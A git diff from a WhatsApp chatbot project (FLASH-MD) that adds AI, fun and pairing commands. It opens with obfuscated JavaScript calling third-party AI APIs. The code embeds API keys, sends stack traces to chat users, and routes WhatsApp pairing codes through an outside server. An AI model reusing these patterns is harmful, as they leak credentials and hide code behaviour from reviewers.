fetch('http://api'+'.brainshop'+'.ai/get?bi'+_0x41850f(0xfc)+'ey=ltFzFIX'+'rtj2SVMTX&'+'uid=[uid]&'+'msg='+_0x4453b8),_0x36572a=await _0x273cbd[_0x41850f(0xd7)]();await _0x5aa4bf(_0x36572a[_0x41850f(0xf6)]);}catch{_0x5aa4bf(_0x41850f(0xf4)+_0x41850f(0xe0)+_0x41850f(0xb8));}}),france({'nomCom':_0xd48ed1(0xe3),'reaction':'📡','categorie':'IA'},async(_0x29145a,_0x406bfc,_0x56783b)=>{const _0x4e3606=_0xd48ed1,{repondre:_0x16f4a4,arg:_0x3c7e8b,ms:_0x37c9b9}=_0x56783b;try{if(!_0x3c7e8b||_0x3c7e8b['length']===0x0)return _0x16f4a4(_0x4e3606(0xdf)+'er\x20the\x20nec'+_0x4e3606(0xdb)+'ormation\x20t'+_0x4e3606(0xf2)+_0x4e3606(0xd8)+'.');const _0x4271b6=_0x3c7e8b['join']('\x20'),_0x145045='https://ap'+_0x4e3606(0xcb)+'bair.tech/'+'ai/dalle?q'+'='+_0x4271b6;let _0x3e1f22=_0x4e3606(0xe5)+'y\x20FLASH-MD'+'*';_0x406bfc[_0x4e3606(0xe8)+'e'](_0x29145a,{'image':{'url':_0x145045},'caption':_0x3e1f22},{'quoted':_0x37c9b9});}catch(_0x957bce){console[_0x4e3606(0xc7)](_0x4e3606(0xbf),_0x957bce['message']||_0x4e3606(0xde)+_0x4e3606(0xc1)+_0x4e3606(0xbc)),_0x16f4a4(_0x4e3606(0xdc)+_0x4e3606(0xe6)+_0x4e3606(0xda)+_0x4e3606(0xc3)+'\x20your\x20requ'+_0x4e3606(0xf9));}}),france({'nomCom':_0xd48ed1(0xd0),'reaction':'📡','categorie':'IA'},async(_0x49efd5,_0x137878,_0x318485)=>{const _0x376f11=_0xd48ed1,{repondre:_0x2bd878,arg:_0x537bc1,ms:_0x59c815}=_0x318485;if(!_0x537bc1||_0x537bc1['length']===0x0)return _0x2bd878(_0x376f11(0xc2)+'\x20a\x20questio'+'n.');const _0x3db831=_0x537bc1['join']('\x20'),_0x5bd98e=await fetch(_0x376f11(0xd6)+_0x376f11(0xcb)+_0x376f11(0xf8)+'ai/chatgpt'+'v4?q='+_0x3db831),_0x53e4ae=await _0x5bd98e[_0x376f11(0xd7)]();await _0x2bd878(_0x53e4ae[_0x376f11(0xbd)]),console[_0x376f11(0xec)](_0x53e4ae[_0x376f11(0xc8)]);}),france({'nomCom':_0xd48ed1(0xfe),'reaction':'🤗','categorie':'IA'},async(_0x1c753b,_0x55355f,_0x5d8964)=>{const _0xa79a8f=_0xd48ed1,{repondre:_0x24f9f4,arg:_0x424bf0,ms:_0x94f646}=_0x5d8964;if(!_0x424bf0||_0x424bf0[_0xa79a8f(0xc9)]===0x0)return _0x24f9f4(_0xa79a8f(0xfd)+'FLASH-MD.*'+_0xa79a8f(0xe2)+'eloped\x20by\x20'+_0xa79a8f(0xf5)+_0xa79a8f(0xf1)+_0xa79a8f(0xb9)+_0xa79a8f(0xd5)+_0xa79a8f(0xee));const _0x8e5e01=_0x424bf0[_0xa79a8f(0xdd)]('\x20'),_0xcdca18=await fetch(_0xa79a8f(0xd6)+'i.maher-zu'+_0xa79a8f(0xf8)+_0xa79a8f(0xca)+_0xa79a8f(0xcd)+_0x8e5e01),_0x6e7833=await _0xcdca18[_0xa79a8f(0xd7)]();await _0x24f9f4(_0x6e7833[_0xa79a8f(0xbd)]),console['log'](_0x6e7833['completion']);}),france({'nomCom':_0xd48ed1(0xd3),'reaction':'🔢','categorie':'General'},async(_0xbf87b6,_0x5390bb,_0x2e2f68)=>{const _0x27e038=_0xd48ed1,{repondre:_0x11d4e1,arg:_0x22456f,ms:_0x439efa}=_0x2e2f68;if(!_0x22456f||_0x22456f[_0x27e038(0xc9)]===0x0)return _0x11d4e1(_0x27e038(0xfa)+_0x27e038(0xeb)+_0x27e038(0xe1)+'ns\x20like\x2010'+_0x27e038(0xcc)+'\x0a\x0aNOTE:\x20Us'+_0x27e038(0xbb)+'r\x20division'+_0x27e038(0xc0)+'\x20for\x20multi'+'plication\x20'+_0x27e038(0xcf)+'x');const _0x4c0dc4=_0x22456f[_0x27e038(0xdd)]('\x20'),_0xb60d0f=await fetch('https://ap'+_0x27e038(0xcb)+_0x27e038(0xf8)+_0x27e038(0xe9)+_0x27e038(0xed)+_0x4c0dc4),_0x1bb54c=await _0xb60d0f[_0x27e038(0xd7)]();await _0x11d4e1(_0x1bb54c[_0x27e038(0xbd)]),console[_0x27e038(0xec)](_0x1bb54c[_0x27e038(0xc8)]);}); diff --git a/commands/Ai.js b/commands/Ai.js new file mode 100644 index 00000000..f49a50fa --- /dev/null +++ b/commands/Ai.js @@ -0,0 +1,868 @@ + +const axios = require('axios'); +const vertexAI = require('../france/Gemini'); +const { franceking } = require('../main'); +const { intelQuery } = require('../france/Deep'); + +module.exports = [ + { + name: 'deepseek', + aliases: ['intel', 'findout'], + description: 'Conducts an AI-powered investigation and returns summarized insights.', + category: 'AI', + + get flashOnly() { + return franceking(); + }, + + execute: async (client, msg, args, fromJid) => { + const inputQuery = args.join(' ').trim(); + + if (!inputQuery) { + return client.sendMessage(fromJid, { + text: '🕵️ *You need to specify what to investigate.*\nTry: deepseek Bitcoin trends' + }, { quoted: msg }); + } + + try { + await client.sendMessage(fromJid, { + text: '⏳ *Gathering intelligence... please hold on.*' + }, { quoted: msg }); + + const data = await intelQuery(inputQuery); + + const summary = data.summary?.trim() || '_No summary available._'; + const references = data.references?.length + ? '\n🌍 *References:*\n' + data.references.map((url, idx) => `${idx + 1}. ${url}`).join('\n') + : ''; + + const cost = data.stats?.cost + ? `\n💰 *Estimated Cost:* $${data.stats.cost.toFixed(2)}` + : ''; + + const agent = data.stats?.engine + ? `\n🤖 *Agent Type:* ${data.stats.engine}` + : ''; + + const stats = `\n📑 *Pages:* ${data.stats.pages} | 🖼 *Images:* ${data.stats.images}`; + + const messageBody = `🧾 *Intel Report:*\n\n${summary}${references}${cost}${agent}${stats}`; + const output = messageBody.length > 4000 + ? messageBody.slice(0, 4000) + '…' + : messageBody; + + const interactiveButtons = [ + { + name: "cta_copy", + buttonParamsJson: JSON.stringify({ + display_text: "Copy Summary", + id: "copysummary", + copy_code: output + }) + }, + { + name: "cta_url", + buttonParamsJson: JSON.stringify({ + display_text: "Visit Repo", + url: "https://github.com/franceking1/Flash-Md-V2" + }) + }, + { + name: "cta_url", + buttonParamsJson: JSON.stringify({ + display_text: "Follow Telegram", + url: "https://t.me/theflashmd" + }) + } + ]; + + const interactiveMessage = { + caption: "*🧠 DeepSeek Intel Report*", + text: output, + footer: "Choose an option below ⬇️", + interactiveButtons + }; + + await client.sendMessage(fromJid, interactiveMessage, { quoted: msg }); + + } catch (err) { + const fallback = [ + '*🚫 Could not complete the investigation.*', + err.message ? `*Reason:* ${err.message}` : '', + err.stack ? `*Trace:* ${err.stack}` : '' + ].filter(Boolean).join('\n\n'); + + await client.sendMessage(fromJid, { + text: fallback + }, { quoted: msg }); + } + } + }, + + +/*module.exports = [ + { + name: 'deepseek', + aliases: ['intel', 'findout'], + description: 'Conducts an AI-powered investigation and returns summarized insights.', + category: 'AI', + + get flashOnly() { + return franceking(); + }, + + execute: async (client, msg, args, fromJid) => { + const inputQuery = args.join(' ').trim(); + + if (!inputQuery) { + return client.sendMessage(fromJid, { + text: '🕵️ *You need to specify what to investigate.*\nTry: deepseek Bitcoin trends' + }, { quoted: msg }); + } + + try { + await client.sendMessage(fromJid, { + text: '⏳ *Gathering intelligence... please hold on.*' + }, { quoted: msg }); + + const data = await intelQuery(inputQuery); + + const summary = data.summary?.trim() || '_No summary available._'; + const references = data.references?.length + ? '\n🌍 *References:*\n' + data.references.map((url, idx) => `${idx + 1}. ${url}`).join('\n') + : ''; + + const cost = data.stats?.cost + ? `\n💰 *Estimated Cost:* $${data.stats.cost.toFixed(2)}` + : ''; + + const agent = data.stats?.engine + ? `\n🤖 *Agent Type:* ${data.stats.engine}` + : ''; + + const stats = `\n📑 *Pages:* ${data.stats.pages} | 🖼 *Images:* ${data.stats.images}`; + + const messageBody = `🧾 *Intel Report:*\n\n${summary}${references}${cost}${agent}${stats}`; + + const output = messageBody.length > 4000 + ? messageBody.slice(0, 4000) + '…' + : messageBody; + + await client.sendMessage(fromJid, { + text: output + }, { quoted: msg }); + + } catch (err) { + const fallback = [ + '*🚫 Could not complete the investigation.*', + err.message ? `*Reason:* ${err.message}` : '', + err.stack ? `*Trace:* ${err.stack}` : '' + ].filter(Boolean).join('\n\n'); + + await client.sendMessage(fromJid, { + text: fallback + }, { quoted: msg }); + } + } +}, */ + { + name: 'imagine', + aliases: ['draw', 'generate'], + description: 'Generate an image using Gemini AI.', + category: 'AI', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + if (!args.length) { + return king.sendMessage(fromJid, { + text: '🧠 *What do you want to imagine?*\n\n_Example:_ `.imagine a futuristic city at night`' + }, { quoted: msg }); + } + + const prompt = args.join(' '); + const ai = new vertexAI(); + + try { + await king.sendMessage(fromJid, { + text: '🎨 *Generating image... Please wait.*' + }, { quoted: msg }); + + const predictions = await ai.image(prompt, { + model: 'imagen-3.0-generate-002', + aspect_ratio: '9:16' + }); + + const base64 = predictions?.[0]?.bytesBase64Encoded; + + if (!base64) { + return king.sendMessage(fromJid, { + text: '⚠️ Sorry, I could not generate the image. Try again later.' + }, { quoted: msg }); + } + + const imageBuffer = Buffer.from(base64, 'base64'); + + await king.sendMessage(fromJid, { + image: imageBuffer, + caption: '_✨ Created by Flash-Md-V2_' + }, { quoted: msg }); + + } catch (err) { + const status = err.response?.status; + const errorData = err.response?.data; + const message = err.message; + const stack = err.stack; + + const errorMsg = [ + '*❌ Error generating image:*', + status ? `*Status:* ${status}` : '', + message ? `*Message:* ${message}` : '', + errorData ? `*Data:* ${JSON.stringify(errorData, null, 2)}` : '', + stack ? `*Stack:* ${stack}` : '' + ].filter(Boolean).join('\n\n'); + + const trimmedError = errorMsg.length > 4000 ? errorMsg.slice(0, 4000) + '…' : errorMsg; + + await king.sendMessage(fromJid, { + text: trimmedError + }, { quoted: msg }); + } + } +}, + /* { + name: 'gemini', + description: 'Ask anything using Gemini AI.', + category: 'AI', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + if (!args.length) { + return king.sendMessage(fromJid, { + text: '❓ *Please provide a question or prompt to ask Gemini AI.*' + }, { quoted: msg }); + } + + const prompt = args.join(' '); + const ai = new vertexAI(); + + try { + const result = await ai.chat(prompt, { + model: 'gemini-2.5-flash' + }); + + const aiReply = result?.[0]?.content?.parts?.[0]?.text; + + if (!aiReply) { + return king.sendMessage(fromJid, { + text: '⚠️ No response received from Gemini AI.', + ai: true + }, { quoted: msg }); + } + + await king.sendMessage(fromJid, { + text: `💬 *Gemini AI says:*\n\n${aiReply}`, + ai: true + }, { quoted: msg }); + + } catch (err) { + const status = err.response?.status; + const errorData = err.response?.data; + const message = err.message; + const stack = err.stack; + + const errorMsg = [ + '*❌ Error talking to Gemini:*', + status ? `*Status:* ${status}` : '', + message ? `*Message:* ${message}` : '', + errorData ? `*Data:* ${JSON.stringify(errorData, null, 2)}` : '', + stack ? `*Stack:* ${stack}` : '' + ].filter(Boolean).join('\n\n'); + + const trimmedError = errorMsg.length > 4000 ? errorMsg.slice(0, 4000) + '…' : errorMsg; + + await king.sendMessage(fromJid, { + text: trimmedError, + ai: true + }, { quoted: msg }); + } + } +}, */ + + { + name: 'gemini', + description: 'Ask anything using Gemini AI.', + category: 'AI', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + if (!args.length) { + return king.sendMessage(fromJid, { + text: '❓ *Please provide a question or prompt to ask Gemini AI.*' + }, { quoted: msg }); + } + + const prompt = args.join(' '); + const ai = new vertexAI(); + + try { + const result = await ai.chat(prompt, { + model: 'gemini-2.5-flash' + }); + + const aiReply = result?.[0]?.content?.parts?.[0]?.text; + + if (!aiReply) { + return king.sendMessage(fromJid, { + text: '⚠️ No response received from Gemini AI.', + ai: true + }, { quoted: msg }); + } + + const interactiveButtons = [ + { + name: "cta_copy", + buttonParamsJson: JSON.stringify({ + display_text: "Copy Answer", + id: "copygemini", + copy_code: aiReply + }) + }, + { + name: "cta_url", + buttonParamsJson: JSON.stringify({ + display_text: "Visit Repo", + url: "https://github.com/franceking1/Flash-Md-V2" + }) + }, + { + name: "cta_url", + buttonParamsJson: JSON.stringify({ + display_text: "Follow Telegram", + url: "https://t.me/theflashmd" + }) + } + ]; + + const interactiveMessage = { + caption: "*🤖 Gemini AI Response*", + text: `💬 *Gemini AI says:*\n\n${aiReply}`, + footer: "Choose an option below ⬇️", + interactiveButtons + }; + + await king.sendMessage(fromJid, interactiveMessage, { quoted: msg }); + + } catch (err) { + const status = err.response?.status; + const errorData = err.response?.data; + const message = err.message; + const stack = err.stack; + + const errorMsg = [ + '*❌ Error talking to Gemini:*', + status ? `*Status:* ${status}` : '', + message ? `*Message:* ${message}` : '', + errorData ? `*Data:* ${JSON.stringify(errorData, null, 2)}` : '', + stack ? `*Stack:* ${stack}` : '' + ].filter(Boolean).join('\n\n'); + + const trimmedError = errorMsg.length > 4000 ? errorMsg.slice(0, 4000) + '…' : errorMsg; + + await king.sendMessage(fromJid, { + text: trimmedError, + ai: true + }, { quoted: msg }); + } + } +}, + +/* + { + name: 'llama', + get flashOnly() { + return franceking(); +}, + aliases: ['ilama'], + description: 'Ask LLaMA AI a question or prompt.', + category: 'AI', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + if (!args || args.length === 0) { + return await sock.sendMessage(chatId, { text: "Please provide a question to ask LLaMA." }, { quoted: msg }); + } + + const prompt = args.join(' '); + const url = `https://api.gurusensei.workers.dev/llama?prompt=${encodeURIComponent(prompt)}`; + + try { + const { data } = await axios.get(url); + if (!data?.response?.response) { + return await sock.sendMessage(chatId, { text: "No response received from LLaMA." }, { quoted: msg }); + } + + const responseText = data.response.response; + + await sock.sendMessage(chatId, { + text: `*LLaMA says:*\n\n${responseText.trim()}`, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } catch (error) { + console.error('LLaMA API Error:', error); + await sock.sendMessage(chatId, { text: "An error occurred while getting a response from LLaMA." }, { quoted: msg }); + } + } + },*/ +{ + name: 'llama', + get flashOnly() { + return franceking(); + }, + aliases: ['ilama'], + description: 'Ask LLaMA AI a question or prompt.', + category: 'AI', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + if (!args || args.length === 0) { + return await sock.sendMessage(chatId, { text: "Please provide a question to ask LLaMA." }, { quoted: msg }); + } + + const prompt = args.join(' '); + const url = `https://api.gurusensei.workers.dev/llama?prompt=${encodeURIComponent(prompt)}`; + + try { + const { data } = await axios.get(url); + if (!data?.response?.response) { + return await sock.sendMessage(chatId, { text: "No response received from LLaMA." }, { quoted: msg }); + } + + const responseText = data.response.response.trim(); + + const interactiveButtons = [ + { + name: "cta_copy", + buttonParamsJson: JSON.stringify({ + display_text: "Copy Answer", + id: "copyllama", + copy_code: responseText + }) + }, + { + name: "cta_url", + buttonParamsJson: JSON.stringify({ + display_text: "Visit Repo", + url: "https://github.com/franceking1/Flash-Md-V2" + }) + }, + { + name: "cta_url", + buttonParamsJson: JSON.stringify({ + display_text: "Follow Telegram", + url: "https://t.me/theflashmd" + }) + } + ]; + + const interactiveMessage = { + caption: "*🦙 LLaMA AI Response*", + text: `*LLaMA says:*\n\n${responseText}`, + footer: "Choose an option below ⬇️", + interactiveButtons, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }; + + await sock.sendMessage(chatId, interactiveMessage, { quoted: msg }); + } catch (error) { + console.error('LLaMA API Error:', error); + await sock.sendMessage(chatId, { text: "An error occurred while getting a response from LLaMA." }, { quoted: msg }); + } + } +}, + + { + name: 'jokes', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Get a random joke.', + category: 'Fun', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + try { + const response = await fetch('https://api.popcat.xyz/joke'); + if (!response.ok) throw new Error('Network response was not ok.'); + const data = await response.json(); + + await sock.sendMessage(chatId, { + text: data.joke, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } catch (error) { + console.error('Error fetching joke:', error.message); + await sock.sendMessage(chatId, { + text: '❌ Failed to fetch a joke. Please try again later.' + }, { quoted: msg }); + } + } + }, + { + name: 'advice', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Get a random piece of advice.', + category: 'Fun', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + try { + const response = await fetch(`https://api.adviceslip.com/advice`); + const data = await response.json(); + const quote = data.slip.advice; + + await sock.sendMessage(chatId, { + text: `*Here is an advice for you:* \n${quote}`, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } catch (error) { + console.error('Error:', error.message || 'An error occurred'); + await sock.sendMessage(chatId, { + text: '❌ Oops, an error occurred while processing your request.' + }, { quoted: msg }); + } + } + }, + { + name: 'trivia', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Get a random trivia question.', + category: 'Fun', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + try { + const response = await fetch('https://opentdb.com/api.php?amount=1&type=multiple'); + if (!response.ok) throw new Error(`Invalid API response: ${response.status}`); + + const result = await response.json(); + if (!result.results || !result.results[0]) throw new Error('No trivia data received.'); + + const trivia = result.results[0]; + const question = trivia.question; + const correctAnswer = trivia.correct_answer; + const allAnswers = [...trivia.incorrect_answers, correctAnswer].sort(); + + const answers = allAnswers.map((ans, i) => `${i + 1}. ${ans}`).join('\n'); + + await sock.sendMessage(chatId, { + text: `🤔 *Trivia Time!*\n\n${question}\n\n${answers}\n\n_I'll reveal the correct answer in 10 seconds..._`, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + setTimeout(async () => { + await sock.sendMessage(chatId, { + text: `✅ *Correct Answer:* ${correctAnswer}`, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + }, 10000); + } catch (error) { + console.error('Trivia Error:', error.message); + await sock.sendMessage(chatId, { + text: '❌ Error fetching trivia. Please try again later.' + }, { quoted: msg }); + } + } + }, + { + name: 'inspire', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Get an inspirational quote.', + category: 'General', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + try { + const response = await fetch(`https://type.fit/api/quotes`); + const data = await response.json(); + const randomIndex = Math.floor(Math.random() * data.length); + const quote = data[randomIndex]; + + await sock.sendMessage(chatId, { + text: `✨ *Inspirational Quote:*\n"${quote.text}"\n— ${quote.author || "Unknown"}`, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } catch (error) { + console.error('Inspire Error:', error.message); + await sock.sendMessage(chatId, { + text: '❌ Failed to fetch an inspirational quote.' + }, { quoted: msg }); + } + } + }, + +{ + name: 'pair', + get flashOnly() { + return franceking(); + }, + description: 'Generates a pairing code for a phone number.', + category: 'General', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + if (!args || args.length === 0) { + return await sock.sendMessage(chatId, { + text: "❗ Please provide a phone number to generate a pairing code." + }, { quoted: msg }); + } + + const number = args.join(' ').trim(); + const url = `https://fixed-sessions.onrender.com/pair?number=${encodeURIComponent(number)}`; + + try { + await sock.sendMessage(chatId, { + text: "*FLASH-MD is generating your pairing code...*" + }, { quoted: msg }); + + const response = await axios.get(url); + const data = response.data; + + if (!data?.code) { + return await sock.sendMessage(chatId, { + text: "⚠️ Could not retrieve the pairing code. Please check the number and try again." + }, { quoted: msg }); + } +// TRY Buttons! 🗿 + + const interactiveButtons = [ + { + name: "cta_url", + buttonParamsJson: JSON.stringify({ + display_text: "Visit Repo", + url: "https://github.com/franceking1/Flash-Md-V2" + }) + }, + { + name: "cta_copy", + buttonParamsJson: JSON.stringify({ + display_text: "Copy Code", + id: "copycode", + copy_code: data.code + }) + } + ]; + + const interactiveMessage = { + image: { url: "https://files.catbox.moe/r6g1zn.jpg"}, + caption: `📲 *Pairing Code for:* ${number}`, + title: "FLASH-MD • Pairing Code", + footer: "Tap the button below to copy your code ⤵️", + interactiveButtons + }; + + await sock.sendMessage(chatId, interactiveMessage, { quoted: msg }); + + } catch (error) { + console.error('Pairing Code Error:', error); + await sock.sendMessage(chatId, { + text: "❌ There was an error processing your request. Please try again later." + }, { quoted: msg }); + } + } +}, + + + /* { + name: 'pair', + get flashOnly() { + return franceking(); +}, + aliases: ['pairing', 'generatecode'], + description: 'Generates a pairing code for a phone number.', + category: 'General', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + if (!args || args.length === 0) { + return await sock.sendMessage(chatId, { text: "Please provide a phone number to generate a pairing code." }, { quoted: msg }); + } + + const number = args.join(' ').trim(); + const url = `https://fixed-sessions.onrender.com/pair?number=${encodeURIComponent(number)}`; + + try { + await sock.sendMessage(chatId, { text: "*FLASH-MD is generating your pairing code...*" }, { quoted: msg }); + + const response = await axios.get(url); + const data = response.data; + + if (!data?.code) { + return await sock.sendMessage(chatId, { text: "Could not retrieve the pairing code. Please check the number and try again." }, { quoted: msg }); + } + + await sock.sendMessage(chatId, { + text: `*Pairing Code for ${number} is the digits below ⤵️!*\n\n> *Powered by FLASH-MD*`, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + await sock.sendMessage(chatId, { + text: `\`\`\`${data.code}\`\`\`` + }, { quoted: msg }); + + } catch (error) { + console.error('Pairing Code Error:', error); + await sock.sendMessage(chatId, { text: "There was an error processing your request. Please try again later." }, { quoted: msg }); + } + } + },*/ + { + name: 'best-wallp', + get flashOnly() { + return franceking(); +}, + aliases: ['bestwal', 'best', 'bw'], + description: 'Sends a high-quality random wallpaper.', + category: 'FLASH PICS', + execute: async (sock, msg) => { + const chatId = msg.key.remoteJid; + try { + const { data } = await axios.get('https://api.unsplash.com/photos/random?client_id=72utkjatCBC-PDcx7-Kcvgod7-QOFAm2fXwEeW8b8cc'); + const url = data?.urls?.regular; + if (!url) { + return await sock.sendMessage(chatId, { text: "Couldn't fetch wallpaper. Try again later." }, { quoted: msg }); + } + await sock.sendMessage(chatId, { + image: { url }, + caption: "*POWERED BY FLASH-MD*", + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } catch (error) { + console.error('Wallpaper Error:', error); + await sock.sendMessage(chatId, { text: "An error occurred while fetching wallpaper." }, { quoted: msg }); + } + } + }, + { + name: 'random', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Sends a random wallpaper from Unsplash.', + category: 'FLASH PICS', + execute: async (sock, msg) => { + const chatId = msg.key.remoteJid; + try { + const { data } = await axios.get('https://api.unsplash.com/photos/random?client_id=72utkjatCBC-PDcx7-Kcvgod7-QOFAm2fXwEeW8b8cc'); + const url = data?.urls?.regular; + if (!url) { + return await sock.sendMessage(chatId, { text: "Couldn't fetch wallpaper. Try again later." }, { quoted: msg }); + } + await sock.sendMessage(chatId, { + image: { url }, + caption: "*POWERED BY FLASH-MD*", + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } catch (error) { + console.error('Random Wallpaper Error:', error); + await sock.sendMessage(chatId, { text: "An error occurred while fetching random wallpaper." }, { quoted: msg }); + } + } + } +]; diff --git a/commands/Alive.js b/commands/Alive.js index 65133dda..68a3095a 100644 --- a/commands/Alive.js +++ b/commands/Alive.js @@ -1,116 +1,110 @@ +const now = require('performance-now'); +const { franceking } = require('../main'); + +if (!global.botStartTime) global.botStartTime = Date.now(); + +function detectPlatform() { + const hostEnv = process.env.HOST_PROVIDER?.toLowerCase(); + + const providers = { + 'optiklink': 'Optiklink.com', + 'bot-hosting': 'Bot-Hosting.net', + 'heroku': 'Heroku', + 'railway': 'Railway', + 'koyeb': 'Koyeb', + 'render': 'Render', + 'github': 'GitHub Actions', + 'katabump': 'Katabump.com' + }; + + if (hostEnv && providers[hostEnv]) return providers[hostEnv]; + if (process.env.RAILWAY_STATIC_URL || process.env.RAILWAY_ENVIRONMENT) return 'Railway'; + if (process.env.KOYEB_ENV) return 'Koyeb'; + if (process.env.RENDER) return 'Render'; + if (process.env.GITHUB_WORKFLOW || process.env.GITHUB_ACTIONS) return 'GitHub Actions'; + if (process.env.DYNO) return 'Heroku'; + + return 'Unknown (Linux)'; +} +const getSenderId = (msg) => (msg.key?.participant || msg.key?.remoteJid || '0@s.whatsapp.net').split('@')[0]; + +const createQuotedContact = (senderId) => ({ + key: { fromMe: false, participant: '0@s.whatsapp.net', remoteJid: 'status@broadcast' }, + message: { + contactMessage: { + displayName: 'FLASH-MD-V2', + vcard: `BEGIN:VCARD\nVERSION:3.0\nN:;a,;;;\nFN:FLASH-MD-V2\nitem1.TEL;waid=${senderId}:${senderId}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`, + }, + }, +}); + +function formatUptime(ms) { + const sec = Math.floor(ms / 1000) % 60; + const min = Math.floor(ms / (1000 * 60)) % 60; + const hr = Math.floor(ms / (1000 * 60 * 60)) % 24; + const day = Math.floor(ms / (1000 * 60 * 60 * 24)); + const parts = []; + if (day === 1) parts.push(`1 day`); + else if (day > 1) parts.push(`${day} days`); + if (hr === 1) parts.push(`1 hour`); + else if (hr > 1) parts.push(`${hr} h`); + if (min === 1) parts.push(`1 minute`); + else if (min > 1) parts.push(`${min} m`); + if (sec === 1) parts.push(`1 second`); + else if (sec > 1 || parts.length === 0) parts.push(`${sec} s`); + return parts.join(', ') || '0 second'; +} -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - -const { france } = require('../framework/france'); -const {addOrUpdateDataInAlive , getDataFromAlive} = require('../bdd/alive') -const moment = require("moment-timezone"); -const s = require(__dirname + "/../set"); - -france( +module.exports = [ { - nomCom : 'alive', - categorie : 'General' - - },async (dest,zk,commandeOptions) => { - - const {ms , arg, repondre,superUser} = commandeOptions; - - const data = await getDataFromAlive(); - - if (!arg || !arg[0] || arg.join('') === '') { - - if(data) { - - const {message , lien} = data; - - - var mode = "public"; - if ((s.MODE).toLocaleLowerCase() != "yes") { - mode = "private"; + name: 'alive', + get flashOnly() { + return franceking(); + }, + aliases: ['status', 'bot'], + description: 'Check if the bot is alive with uptime and ping.', + category: 'General', + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + const senderId = getSenderId(msg); + const start = now(); + + const initialMsg = await king.sendMessage(fromJid, { + text: '🔄 Checking bot status...' + }, { + quoted: 